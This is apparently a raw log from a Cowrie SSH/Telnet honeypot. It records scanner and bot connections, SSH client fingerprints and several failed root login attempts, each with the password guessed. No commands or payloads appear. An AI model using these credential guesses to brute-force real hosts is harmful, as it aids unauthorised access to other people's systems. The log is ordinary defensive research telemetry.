{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:30.982448Z","src_ip":"103.149.170.125","session":"3bb86d434274","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:31.241186Z","src_ip":"103.149.170.125","session":"3bb86d434274","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfnhtirf","message":"login attempt [root/vfnhtirf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:32.020495Z","src_ip":"103.149.170.125","session":"3bb86d434274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":44838,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d3390960c5a","protocol":"telnet","message":"New connection: 135.148.14.151:44838 (159.203.135.109:23) [session: 8d3390960c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:33.021665Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:33.289685Z","src_ip":"103.149.170.125","session":"3bb86d434274","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46428,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c9ba4431cf","protocol":"telnet","message":"New connection: 135.148.14.151:46428 (159.203.135.109:23) [session: 34c9ba4431cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:38.634836Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":48786,"dst_ip":"159.203.135.109","dst_port":23,"session":"62e66fdd178f","protocol":"telnet","message":"New connection: 135.148.14.151:48786 (159.203.135.109:23) [session: 62e66fdd178f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:42.634383Z"}
{"eventid":"cowrie.session.closed","duration":34.43799901008606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:56.084212Z","src_ip":"135.148.14.151","session":"5feb0fb1ea72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.934056997299194,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:19:59.641213Z","src_ip":"135.148.14.151","session":"a4bc731c061a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.634607553482056,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:09.656112Z","src_ip":"135.148.14.151","session":"8d3390960c5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34938,"dst_ip":"159.203.135.109","dst_port":23,"session":"a207147bd6a4","protocol":"telnet","message":"New connection: 135.148.14.151:34938 (159.203.135.109:23) [session: a207147bd6a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:14.791452Z"}
{"eventid":"cowrie.session.closed","duration":36.21070957183838,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:14.845424Z","src_ip":"135.148.14.151","session":"34c9ba4431cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.35797953605652,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:16.992234Z","src_ip":"135.148.14.151","session":"62e66fdd178f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":49776,"dst_ip":"10.17.0.5","dst_port":22,"session":"268dd92afa7a","protocol":"ssh","message":"New connection: 103.173.227.57:49776 (10.17.0.5:22) [session: 268dd92afa7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:32.360370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:32.370177Z","src_ip":"103.173.227.57","session":"268dd92afa7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:32.622954Z","src_ip":"103.173.227.57","session":"268dd92afa7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghghgh","message":"login attempt [root/ghghgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:33.381114Z","src_ip":"103.173.227.57","session":"268dd92afa7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:34.637567Z","src_ip":"103.173.227.57","session":"268dd92afa7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.136.42","src_port":39836,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c74cf6c9559","protocol":"telnet","message":"New connection: 165.22.136.42:39836 (10.17.0.5:23) [session: 1c74cf6c9559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:40.247213Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":38216,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6b2237e86d1","protocol":"ssh","message":"New connection: 193.37.70.224:38216 (10.17.0.5:22) [session: d6b2237e86d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:40.277930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:40.283606Z","src_ip":"193.37.70.224","session":"d6b2237e86d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":0.072723388671875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:40.319811Z","src_ip":"165.22.136.42","session":"1c74cf6c9559","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:40.368560Z","src_ip":"193.37.70.224","session":"d6b2237e86d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lthtdyz","message":"login attempt [root/lthtdyz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:40.626583Z","src_ip":"193.37.70.224","session":"d6b2237e86d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:41.713746Z","src_ip":"193.37.70.224","session":"d6b2237e86d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49784,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf41e1e7fb9","protocol":"telnet","message":"New connection: 135.148.14.151:49784 (159.203.135.109:23) [session: fdf41e1e7fb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:50.200702Z"}
{"eventid":"cowrie.session.closed","duration":37.56323480606079,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:52.354551Z","src_ip":"135.148.14.151","session":"a207147bd6a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":49668,"dst_ip":"159.203.135.109","dst_port":23,"session":"79c35160ea33","protocol":"telnet","message":"New connection: 135.148.14.151:49668 (159.203.135.109:23) [session: 79c35160ea33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:54.954568Z"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.34","src_port":64968,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f7459913b79","protocol":"ssh","message":"New connection: 205.210.31.34:64968 (159.203.135.109:22) [session: 1f7459913b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:57.980028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:20:58.999435Z","src_ip":"205.210.31.34","session":"1f7459913b79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:00.093864Z","src_ip":"205.210.31.34","session":"1f7459913b79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":55986,"dst_ip":"159.203.135.109","dst_port":23,"session":"929f2605f788","protocol":"telnet","message":"New connection: 135.148.14.151:55986 (159.203.135.109:23) [session: 929f2605f788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:03.111704Z"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:08.662478Z","src_ip":"205.210.31.34","session":"1f7459913b79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.819327116012573,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:19.773757Z","src_ip":"135.148.14.151","session":"79c35160ea33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4984073638916,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:24.699001Z","src_ip":"135.148.14.151","session":"fdf41e1e7fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":41984,"dst_ip":"159.203.135.109","dst_port":23,"session":"00d9106a996d","protocol":"telnet","message":"New connection: 135.148.14.151:41984 (159.203.135.109:23) [session: 00d9106a996d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:32.489554Z"}
{"eventid":"cowrie.session.closed","duration":40.86144709587097,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:21:43.973053Z","src_ip":"135.148.14.151","session":"929f2605f788","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57236,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6917365fe9f","protocol":"telnet","message":"New connection: 135.148.14.151:57236 (159.203.135.109:23) [session: d6917365fe9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:07.890868Z"}
{"eventid":"cowrie.session.closed","duration":37.164732456207275,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:09.654165Z","src_ip":"135.148.14.151","session":"00d9106a996d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":32778,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b660a1c1d4a","protocol":"telnet","message":"New connection: 135.148.14.151:32778 (159.203.135.109:23) [session: 4b660a1c1d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:13.083050Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":57404,"dst_ip":"159.203.135.109","dst_port":22,"session":"923d13b42930","protocol":"ssh","message":"New connection: 194.59.206.2:57404 (159.203.135.109:22) [session: 923d13b42930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:18.539547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:18.545478Z","src_ip":"194.59.206.2","session":"923d13b42930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:18.628682Z","src_ip":"194.59.206.2","session":"923d13b42930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:18.715750Z","src_ip":"194.59.206.2","session":"923d13b42930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":54182,"dst_ip":"159.203.135.109","dst_port":22,"session":"04bff382fbf6","protocol":"ssh","message":"New connection: 77.94.47.83:54182 (159.203.135.109:22) [session: 04bff382fbf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:19.307203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:19.312288Z","src_ip":"77.94.47.83","session":"04bff382fbf6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:19.420039Z","src_ip":"77.94.47.83","session":"04bff382fbf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77778888","message":"login attempt [root/77778888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:19.741724Z","src_ip":"77.94.47.83","session":"04bff382fbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:20.852458Z","src_ip":"77.94.47.83","session":"04bff382fbf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.196067810058594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:43.086843Z","src_ip":"135.148.14.151","session":"d6917365fe9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36069941520691,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T23:22:48.443668Z","src_ip":"135.148.14.151","session":"4b660a1c1d4a","protocol":"telnet"}
